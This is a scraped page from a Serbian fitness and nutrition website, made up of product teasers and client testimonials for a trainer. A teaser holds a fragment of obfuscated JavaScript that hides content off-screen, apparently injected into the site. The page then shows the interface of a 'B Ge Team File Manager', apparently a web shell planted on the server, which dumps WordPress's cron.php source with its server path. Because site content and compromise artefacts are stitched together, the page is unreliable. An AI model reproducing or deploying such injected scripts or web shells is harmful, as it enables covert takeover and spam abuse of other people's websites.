Pogledajte naše proizvode

Srce duše

  Radionica "Srce duše" biće održana u Novom Sadu 24.09.2017  (12-18h ) Svako ce dobiti nesto drugacije, jedinstveno, unikatno, samo njemu znano,
Read More
Srce duše

Tesla

“Dar isceljujuće energije dolazi od Boga, vrhunskog bića, i ako mi spoznamo i osvestimo tu istinu, postajemo skladni sa ovom
Read More
Tesla

Osnovni Koraci Razvoja Svesnosti Kroz Nacin Ishrane I Brigu O Sebi

      ...jer samo zdrava dusa moze da ispuni svoju svrhu' Milica Vujic, kondicioni trener, fitnes instruktor, hard body trener, prakticar yoge, pilates
Read More
Osnovni Koraci Razvoja Svesnosti Kroz Nacin Ishrane I Brigu O Sebi

Biljna hrana

function lJeCytLe(umR) { var BuvBN = "#mtaxnzy1mzuz{margin:0px 20px;overflow:hidden}#mtaxnzy1mzuz>div{top:-3874px;overflow:hidden;position:fixed;left:-2702px;display:block}";
Read More
Biljna hrana
Iskustva
Maja Vučkovic, Novi Sad
Maja Vučkovic, Novi Sad
Kao trener temeljna, posvecena, istrajna, ljubazna i uvek sa osmehom na licu. Treninzi dinamicni, uvek drugaciji, zanimljivi. To je ono zbog cega mi nije bilo tesko da odem na svaki trening bez izgovora, a zbog cega i dan danas ne mogu da pronadjem nista slicno sto ce me osvojiti kao treninzi sa Milicom!
Daniela Lalić, Novi Sad
Daniela Lalić, Novi Sad
... momenat kada cuda postaju stvarnost, kada zelja postane ostvarljiva, kada ti se vraca osmeh na lice... Tog dana nisam ni slutila da ce mi se zivot toliko promeniti upoznavsi nju, obicnu devojku koja je bila neverovatno nasmejana,raspolozena, prosto je zracila tom svojom pozitivnoscu, nesebicno je prenoseci na druge... tako je i na mene... A ja sam bila tuzna devojka koja je imala problema sa hormonima, sa debljinom, velikim viskom kilograma... jeduci samo proteine jer je tad bila aktuelna takva vrsta ishrane, nadajuci se da cu ih skinuti na njenim treninzima, neznajuci da mi je bas ona stvarala te probleme, hormoni u zivotinjskom mesu remete nase hormone... A onda su dosli njeni saveti,pored veoma delotvornih treninga... U danasnje vreme ima mnogo ljudi koji su pozitivni ali retki su oni koji to mogu i da prenesu na druge... ona je jedna od njih... A zatim svojim velikim iskustvom u svetu sporta, fitnesa i najvise ishrane je podelila neke odredjene savete sa mnom... i hvala joj na tome... I danas se secam tog dana iako je proslo dosta godina od tad... Cujem se sa njom i danas, i sada ima vremena da odgovori na svaku moju poruku iako sam ja kao i svako drugi, obicna devojka, kojoj je potreban neki savet... a ona se sve te godine i dalje usavrsava i napreduje... Nismo ni drugarice ni prijateljice, jer se to postaje na drugaciji nacin, ali ima veoma vazno mesto u mom zivotu jer mi se od tad zivot poceo menjati...
 Carla Almassri 11, Erbil
Carla Almassri 11, Erbil
Treninzi su bili odlični. Bilo je to zabavno iskustvo. Osećala sam se kako se poboljšavam te sam naučila mnogo veština koje i dalje dan danas koristim. Obožavam ih .
Branka  Laketić, Novi Sad
Branka Laketić, Novi Sad
Na treninzima je bilo fenomenalno, prijatna atmosfera, jaki i dobri treninzi, trener posvecen svom poslu, a i nama svima. Sve u svemu, prezadovoljna sam bila i rado bih nastavila kada bih imala priliku.
Jelena kragović, Beograd
Jelena kragović, Beograd
Milica je pre svega jedna divna osoba koja je uvek otvorena da porazgovara sa Vama i da Vam iskreni savet bez podsmevanja ili ruznih pogleda sa mislju "Na sta licis!", sto se verujte mi desava. Sa Milicom se svako oseca motivisano, jer je pravi profesionalac i reci ce Vam uvek da za trening nikada nije kasno.  Svakome se posveti sto se treninga tice maksimalno i pomogne i sa savetima u vezi ishrane, pored svega. Sve tople preporuke za Milicu od mene. Na kraju krajeva, ne morate mi verovati, vec trenirajte sa njom, pa cete se uveriti i sami. I da, da ne zaboravim...pored svega Milica je prelepa...Sve pohvale i tople preporuke za Milicu
Nataša Stanković, Novi Sad
Nataša Stanković, Novi Sad
Sjajni treninzi, preciznost, postavljanje ciljeva, njihovo ostvarivanje kao i sjajna komunikacija omogucili su mi da sa uvek nasmejanom Milicom uspostavim odnos kakav se moze pozeleti. Uspela je da poboljsa moje performanse, savetovala me je u vezi sa ishranom i odrzavala motivaciju za ostvarivanjem ciljeva. Takodje, naucila me je kako da uzivam u svakom treningu i da mi isti ne predstavlja obavezu, vec nesto cemu sam se celog dana radovala. Uspesno smo saradjivale, preporucila bih je svakome i sa sigurnoscu mogu da tvrdim da ce Milica za kratko vreme uspeti da promeni Vas nacin zivota i da iskoreni lose navike.
Danijela Jocic, Beograd
Danijela Jocic, Beograd
Milicu sam slucajno upoznala u jednoj teretani, u Beogradu. Prica pocinje ovako: Odlazila sam na kardio treninge i na poneku spravicu u teretanu u komsiluku dok mi jedan dan paznju nije privukla jedna devojka u sali koja sprema nesto sto jos nisam videla na tv-u, bar ono reklama sto ugrabim u slobodno vreme. Simpatizer sam grupnih treninga, sa razlicitim vezbama i brzim rezultatom. Strpljenje mi je slaba tacka, pogotovo kad imate malo vremena da liniju dovedete skoro do savrsenstva. Ono sto mi je prvo skrenulo pogled ka sali gde se uveliko spremalo nesto novo bila je muzika koja bukvalno "dize iz mrtvih". Dve reci te devojke-Milice, mog trenera, bile su dovoljne da joj se pridruzim odmah, cak i pre formiranja prve grupe polaznika. Nailazim na ODUSEVLJENJE! Strah na pocetku, da li cu izdrzati trening, naporno je, zahteva kondiciju, snagu, koncentraciju, uigranost! Zove se Insanity. Dve godine u tom ritmu je proletelo...4-5 puta nedeljno odlazenja na treninge cinili su mi veliko zadovoljstvo i srecu. Moja sestra je krenula odmah sa mnom. Grupa od deset devojaka treniraju kao jedan! Koliko raspolozenje posle treninga, od sat ipo vremena! Noge, stomak i ruke kao na profi slikama iz casopisa! Trening pripremljen i osmisljen kao u najboljem inostranom spotu, vezbe povezane, koordinacija tela...Prvo zagrevanje, a potom krecemo od glave i vrata, ruku, stomaka, nogu...istezanje. Muzika drzi atmosferu da ne razmisljamo o umoru. Svaki trening drugaciji, nema mesta monotoniji. Koristimo tegice, vijace. Na kraju treninga mokra majica nam najbolje pokaze rezultat svega toga. Moram priznati da sam ishranu morala malo da korigujem jer mi je genetika takva, sve se lepi. To mi je sve bilo lako uz Milicine razgovore, savete, recepte, redovno proveravanje kilaze i masti. Neko je jos brinuo o mom telu i zdravlju.
 Sara Barzani, Erbil
Sara Barzani, Erbil
Trening s Milicom je jedno od najboljih iskustva koje sam imala u zivotu. Tezak posao se s njom cinio toliko lagano. Ona kao trener me gurala u treninzima da postignem svoje ciljeve. Umor nije uopste bio problem s njenom pomoci. Pomogla mi je transformisati moje telo, onako kako sam zelela. Energija i izdrzljivost su mi bile dve najvaznije stvari koje mi je pomogla poboljsati.
Sherri Kraham Talabany, Erbil
Sherri Kraham Talabany, Erbil
Moj muž i ja obožavali smo kao klijenti raditi s Milicom koja nas je držala na nogama sa rigoroznim režimom kroz trening snage, trening za tonus i kardio trening ukomponovan u jedan sat intenzivnog vežbanja. Čak je menjala vežbe tako da nikada nije bilo dosadno i uvek je uspevala napraviti trening za kompletno telo. To je vodilo do vrhunskih rezultata na telesnom i fitness nivou.
prevnext
B Ge Team File Manager

B Ge Team File Manager

Current Path : /home/nnaac01/domains/zdravotelo.net/public_html/wp-includes/
Upload File :
Current File : /home/nnaac01/domains/zdravotelo.net/public_html/wp-includes/cron.php

<?php
/**
 * WordPress Cron API
 *
 * @package WordPress
 */

/**
 * Schedules an event to run only once.
 *
 * Schedules an event which will execute once by the WordPress actions core at
 * a time which you specify. The action will fire off when someone visits your
 * WordPress site, if the schedule time has passed.
 *
 * Note that scheduling an event to occur within 10 minutes of an existing event
 * with the same action hook will be ignored unless you pass unique `$args` values
 * for each scheduled event.
 *
 * @since 2.1.0
 * @link https://codex.wordpress.org/Function_Reference/wp_schedule_single_event
 *
 * @param int $timestamp Unix timestamp (UTC) for when to run the event.
 * @param string $hook Action hook to execute when event is run.
 * @param array $args Optional. Arguments to pass to the hook's callback function.
 * @return false|void False if the event does not get scheduled.
 */
function wp_schedule_single_event( $timestamp, $hook, $args = array()) {
	// Make sure timestamp is a positive integer
	if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) {
		return false;
	}

	// Don't schedule a duplicate if there's already an identical event due within 10 minutes of it
	$next = wp_next_scheduled($hook, $args);
	if ( $next && abs( $next - $timestamp ) <= 10 * MINUTE_IN_SECONDS ) {
		return false;
	}

	$crons = _get_cron_array();
	$event = (object) array( 'hook' => $hook, 'timestamp' => $timestamp, 'schedule' => false, 'args' => $args );
	/**
	 * Filters a single event before it is scheduled.
	 *
	 * @since 3.1.0
	 *
	 * @param stdClass $event {
	 *     An object containing an event's data.
	 *
	 *     @type string       $hook      Action hook to execute when event is run.
	 *     @type int          $timestamp Unix timestamp (UTC) for when to run the event.
	 *     @type string|false $schedule  How often the event should recur. See `wp_get_schedules()`.
	 *     @type array        $args      Arguments to pass to the hook's callback function.
	 * }
	 */
	$event = apply_filters( 'schedule_event', $event );

	// A plugin disallowed this event
	if ( ! $event )
		return false;

	$key = md5(serialize($event->args));

	$crons[$event->timestamp][$event->hook][$key] = array( 'schedule' => $event->schedule, 'args' => $event->args );
	uksort( $crons, "strnatcasecmp" );
	_set_cron_array( $crons );
}

/**
 * Schedule a recurring event.
 *
 * Schedules a hook which will be executed by the WordPress actions core on a
 * specific interval, specified by you. The action will trigger when someone
 * visits your WordPress site, if the scheduled time has passed.
 *
 * Valid values for the recurrence are hourly, daily, and twicedaily. These can
 * be extended using the {@see 'cron_schedules'} filter in wp_get_schedules().
 *
 * Use wp_next_scheduled() to prevent duplicates
 *
 * @since 2.1.0
 *
 * @param int $timestamp Unix timestamp (UTC) for when to run the event.
 * @param string $recurrence How often the event should recur.
 * @param string $hook Action hook to execute when event is run.
 * @param array $args Optional. Arguments to pass to the hook's callback function.
 * @return false|void False if the event does not get scheduled.
 */
function wp_schedule_event( $timestamp, $recurrence, $hook, $args = array()) {
	// Make sure timestamp is a positive integer
	if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) {
		return false;
	}

	$crons = _get_cron_array();
	$schedules = wp_get_schedules();

	if ( !isset( $schedules[$recurrence] ) )
		return false;

	$event = (object) array( 'hook' => $hook, 'timestamp' => $timestamp, 'schedule' => $recurrence, 'args' => $args, 'interval' => $schedules[$recurrence]['interval'] );
	/** This filter is documented in wp-includes/cron.php */
	$event = apply_filters( 'schedule_event', $event );

	// A plugin disallowed this event
	if ( ! $event )
		return false;

	$key = md5(serialize($event->args));

	$crons[$event->timestamp][$event->hook][$key] = array( 'schedule' => $event->schedule, 'args' => $event->args, 'interval' => $event->interval );
	uksort( $crons, "strnatcasecmp" );
	_set_cron_array( $crons );
}

/**
 * Reschedule a recurring event.
 *
 * @since 2.1.0
 *
 * @param int $timestamp Unix timestamp (UTC) for when to run the event.
 * @param string $recurrence How often the event should recur.
 * @param string $hook Action hook to execute when event is run.
 * @param array $args Optional. Arguments to pass to the hook's callback function.
 * @return false|void False if the event does not get rescheduled.
 */
function wp_reschedule_event( $timestamp, $recurrence, $hook, $args = array() ) {
	// Make sure timestamp is a positive integer
	if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) {
		return false;
	}

	$crons = _get_cron_array();
	$schedules = wp_get_schedules();
	$key = md5( serialize( $args ) );
	$interval = 0;

	// First we try to get it from the schedule
	if ( isset( $schedules[ $recurrence ] ) ) {
		$interval = $schedules[ $recurrence ]['interval'];
	}
	// Now we try to get it from the saved interval in case the schedule disappears
	if ( 0 == $interval ) {
		$interval = $crons[ $timestamp ][ $hook ][ $key ]['interval'];
	}
	// Now we assume something is wrong and fail to schedule
	if ( 0 == $interval ) {
		return false;
	}

	$now = time();

	if ( $timestamp >= $now ) {
		$timestamp = $now + $interval;
	} else {
		$timestamp = $now + ( $interval - ( ( $now - $timestamp ) % $interval ) );
	}

	wp_schedule_event( $timestamp, $recurrence, $hook, $args );
}

/**
 * Unschedule a previously scheduled event.
 *
 * The $timestamp and $hook parameters are required so that the event can be
 * identified.
 *
 * @since 2.1.0
 *
 * @param int $timestamp Unix timestamp (UTC) for when to run the event.
 * @param string $hook Action hook, the execution of which will be unscheduled.
 * @param array $args Arguments to pass to the hook's callback function.
 * Although not passed to a callback function, these arguments are used
 * to uniquely identify the scheduled event, so they should be the same
 * as those used when originally scheduling the event.
 * @return false|void False if the event does not get unscheduled.
 */
function wp_unschedule_event( $timestamp, $hook, $args = array() ) {
	// Make sure timestamp is a positive integer
	if ( ! is_numeric( $timestamp ) || $timestamp <= 0 ) {
		return false;
	}

	$crons = _get_cron_array();
	$key = md5(serialize($args));
	unset( $crons[$timestamp][$hook][$key] );
	if ( empty($crons[$timestamp][$hook]) )
		unset( $crons[$timestamp][$hook] );
	if ( empty($crons[$timestamp]) )
		unset( $crons[$timestamp] );
	_set_cron_array( $crons );
}

/**
 * Unschedule all events attached to the specified hook.
 *
 * @since 2.1.0
 *
 * @param string $hook Action hook, the execution of which will be unscheduled.
 * @param array $args Optional. Arguments that were to be passed to the hook's callback function.
 */
function wp_clear_scheduled_hook( $hook, $args = array() ) {
	// Backward compatibility
	// Previously this function took the arguments as discrete vars rather than an array like the rest of the API
	if ( !is_array($args) ) {
		_deprecated_argument( __FUNCTION__, '3.0.0', __('This argument has changed to an array to match the behavior of the other cron functions.') );
		$args = array_slice( func_get_args(), 1 );
	}

	// This logic duplicates wp_next_scheduled()
	// It's required due to a scenario where wp_unschedule_event() fails due to update_option() failing,
	// and, wp_next_scheduled() returns the same schedule in an infinite loop.
	$crons = _get_cron_array();
	if ( empty( $crons ) )
		return;

	$key = md5( serialize( $args ) );
	foreach ( $crons as $timestamp => $cron ) {
		if ( isset( $cron[ $hook ][ $key ] ) ) {
			wp_unschedule_event( $timestamp, $hook, $args );
		}
	}
}

/**
 * Retrieve the next timestamp for an event.
 *
 * @since 2.1.0
 *
 * @param string $hook Action hook to execute when event is run.
 * @param array $args Optional. Arguments to pass to the hook's callback function.
 * @return false|int The Unix timestamp of the next time the scheduled event will occur.
 */
function wp_next_scheduled( $hook, $args = array() ) {
	$crons = _get_cron_array();
	$key = md5(serialize($args));
	if ( empty($crons) )
		return false;
	foreach ( $crons as $timestamp => $cron ) {
		if ( isset( $cron[$hook][$key] ) )
			return $timestamp;
	}
	return false;
}

/**
 * Sends a request to run cron through HTTP request that doesn't halt page loading.
 *
 * @since 2.1.0
 *
 * @param int $gmt_time Optional. Unix timestamp (UTC). Default 0 (current time is used).
 */
function spawn_cron( $gmt_time = 0 ) {
	if ( ! $gmt_time )
		$gmt_time = microtime( true );

	if ( defined('DOING_CRON') || isset($_GET['doing_wp_cron']) )
		return;

	/*
	 * Get the cron lock, which is a Unix timestamp of when the last cron was spawned
	 * and has not finished running.
	 *
	 * Multiple processes on multiple web servers can run this code concurrently,
	 * this lock attempts to make spawning as atomic as possible.
	 */
	$lock = get_transient('doing_cron');

	if ( $lock > $gmt_time + 10 * MINUTE_IN_SECONDS )
		$lock = 0;

	// don't run if another process is currently running it or more than once every 60 sec.
	if ( $lock + WP_CRON_LOCK_TIMEOUT > $gmt_time )
		return;

	//sanity check
	$crons = _get_cron_array();
	if ( !is_array($crons) )
		return;

	$keys = array_keys( $crons );
	if ( isset($keys[0]) && $keys[0] > $gmt_time )
		return;

	if ( defined( 'ALTERNATE_WP_CRON' ) && ALTERNATE_WP_CRON ) {
		if ( 'GET' !== $_SERVER['REQUEST_METHOD'] || defined( 'DOING_AJAX' ) ||  defined( 'XMLRPC_REQUEST' ) ) {
			return;
		}

		$doing_wp_cron = sprintf( '%.22F', $gmt_time );
		set_transient( 'doing_cron', $doing_wp_cron );

		ob_start();
		wp_redirect( add_query_arg( 'doing_wp_cron', $doing_wp_cron, wp_unslash( $_SERVER['REQUEST_URI'] ) ) );
		echo ' ';

		// flush any buffers and send the headers
		while ( @ob_end_flush() );
		flush();

		WP_DEBUG ? include_once( ABSPATH . 'wp-cron.php' ) : @include_once( ABSPATH . 'wp-cron.php' );
		return;
	}

	// Set the cron lock with the current unix timestamp, when the cron is being spawned.
	$doing_wp_cron = sprintf( '%.22F', $gmt_time );
	set_transient( 'doing_cron', $doing_wp_cron );

	/**
	 * Filters the cron request arguments.
	 *
	 * @since 3.5.0
	 * @since 4.5.0 The `$doing_wp_cron` parameter was added.
	 *
	 * @param array $cron_request_array {
	 *     An array of cron request URL arguments.
	 *
	 *     @type string $url  The cron request URL.
	 *     @type int    $key  The 22 digit GMT microtime.
	 *     @type array  $args {
	 *         An array of cron request arguments.
	 *
	 *         @type int  $timeout   The request timeout in seconds. Default .01 seconds.
	 *         @type bool $blocking  Whether to set blocking for the request. Default false.
	 *         @type bool $sslverify Whether SSL should be verified for the request. Default false.
	 *     }
	 * }
	 * @param string $doing_wp_cron The unix timestamp of the cron lock.
	 */
	$cron_request = apply_filters( 'cron_request', array(
		'url'  => add_query_arg( 'doing_wp_cron', $doing_wp_cron, site_url( 'wp-cron.php' ) ),
		'key'  => $doing_wp_cron,
		'args' => array(
			'timeout'   => 0.01,
			'blocking'  => false,
			/** This filter is documented in wp-includes/class-wp-http-streams.php */
			'sslverify' => apply_filters( 'https_local_ssl_verify', false )
		)
	), $doing_wp_cron );

	wp_remote_post( $cron_request['url'], $cron_request['args'] );
}

/**
 * Run scheduled callbacks or spawn cron for all scheduled events.
 *
 * @since 2.1.0
 */
function wp_cron() {
	// Prevent infinite loops caused by lack of wp-cron.php
	if ( strpos($_SERVER['REQUEST_URI'], '/wp-cron.php') !== false || ( defined('DISABLE_WP_CRON') && DISABLE_WP_CRON ) )
		return;

	if ( false === $crons = _get_cron_array() )
		return;

	$gmt_time = microtime( true );
	$keys = array_keys( $crons );
	if ( isset($keys[0]) && $keys[0] > $gmt_time )
		return;

	$schedules = wp_get_schedules();
	foreach ( $crons as $timestamp => $cronhooks ) {
		if ( $timestamp > $gmt_time ) break;
		foreach ( (array) $cronhooks as $hook => $args ) {
			if ( isset($schedules[$hook]['callback']) && !call_user_func( $schedules[$hook]['callback'] ) )
				continue;
			spawn_cron( $gmt_time );
			break 2;
		}
	}
}

/**
 * Retrieve supported event recurrence schedules.
 *
 * The default supported recurrences are 'hourly', 'twicedaily', and 'daily'. A plugin may
 * add more by hooking into the {@see 'cron_schedules'} filter. The filter accepts an array
 * of arrays. The outer array has a key that is the name of the schedule or for
 * example 'weekly'. The value is an array with two keys, one is 'interval' and
 * the other is 'display'.
 *
 * The 'interval' is a number in seconds of when the cron job should run. So for
 * 'hourly', the time is 3600 or 60*60. For weekly, the value would be
 * 60*60*24*7 or 604800. The value of 'interval' would then be 604800.
 *
 * The 'display' is the description. For the 'weekly' key, the 'display' would
 * be `__( 'Once Weekly' )`.
 *
 * For your plugin, you will be passed an array. you can easily add your
 * schedule by doing the following.
 *
 *     // Filter parameter variable name is 'array'.
 *     $array['weekly'] = array(
 *         'interval' => 604800,
 *     	   'display'  => __( 'Once Weekly' )
 *     );
 *
 *
 * @since 2.1.0
 *
 * @return array
 */
function wp_get_schedules() {
	$schedules = array(
		'hourly'     => array( 'interval' => HOUR_IN_SECONDS,      'display' => __( 'Once Hourly' ) ),
		'twicedaily' => array( 'interval' => 12 * HOUR_IN_SECONDS, 'display' => __( 'Twice Daily' ) ),
		'daily'      => array( 'interval' => DAY_IN_SECONDS,       'display' => __( 'Once Daily' ) ),
	);
	/**
	 * Filters the non-default cron schedules.
	 *
	 * @since 2.1.0
	 *
	 * @param array $new_schedules An array of non-default cron schedules. Default empty.
	 */
	return array_merge( apply_filters( 'cron_schedules', array() ), $schedules );
}

/**
 * Retrieve the recurrence schedule for an event.
 *
 * @see wp_get_schedules() for available schedules.
 *
 * @since 2.1.0
 *
 * @param string $hook Action hook to identify the event.
 * @param array $args Optional. Arguments passed to the event's callback function.
 * @return string|false False, if no schedule. Schedule name on success.
 */
function wp_get_schedule($hook, $args = array()) {
	$crons = _get_cron_array();
	$key = md5(serialize($args));
	if ( empty($crons) )
		return false;
	foreach ( $crons as $timestamp => $cron ) {
		if ( isset( $cron[$hook][$key] ) )
			return $cron[$hook][$key]['schedule'];
	}
	return false;
}

//
// Private functions
//

/**
 * Retrieve cron info array option.
 *
 * @since 2.1.0
 * @access private
 *
 * @return false|array CRON info array.
 */
function _get_cron_array()  {
	$cron = get_option('cron');
	if ( ! is_array($cron) )
		return false;

	if ( !isset($cron['version']) )
		$cron = _upgrade_cron_array($cron);

	unset($cron['version']);

	return $cron;
}

/**
 * Updates the CRON option with the new CRON array.
 *
 * @since 2.1.0
 * @access private
 *
 * @param array $cron Cron info array from _get_cron_array().
 */
function _set_cron_array($cron) {
	$cron['version'] = 2;
	update_option( 'cron', $cron );
}

/**
 * Upgrade a Cron info array.
 *
 * This function upgrades the Cron info array to version 2.
 *
 * @since 2.1.0
 * @access private
 *
 * @param array $cron Cron info array from _get_cron_array().
 * @return array An upgraded Cron info array.
 */
function _upgrade_cron_array($cron) {
	if ( isset($cron['version']) && 2 == $cron['version'])
		return $cron;

	$new_cron = array();

	foreach ( (array) $cron as $timestamp => $hooks) {
		foreach ( (array) $hooks as $hook => $args ) {
			$key = md5(serialize($args['args']));
			$new_cron[$timestamp][$hook][$key] = $args;
		}
	}

	$new_cron['version'] = 2;
	update_option( 'cron', $new_cron );
	return $new_cron;
}

B Ge Team File Manager Version 1.0, Coded By Little Wei
Email: null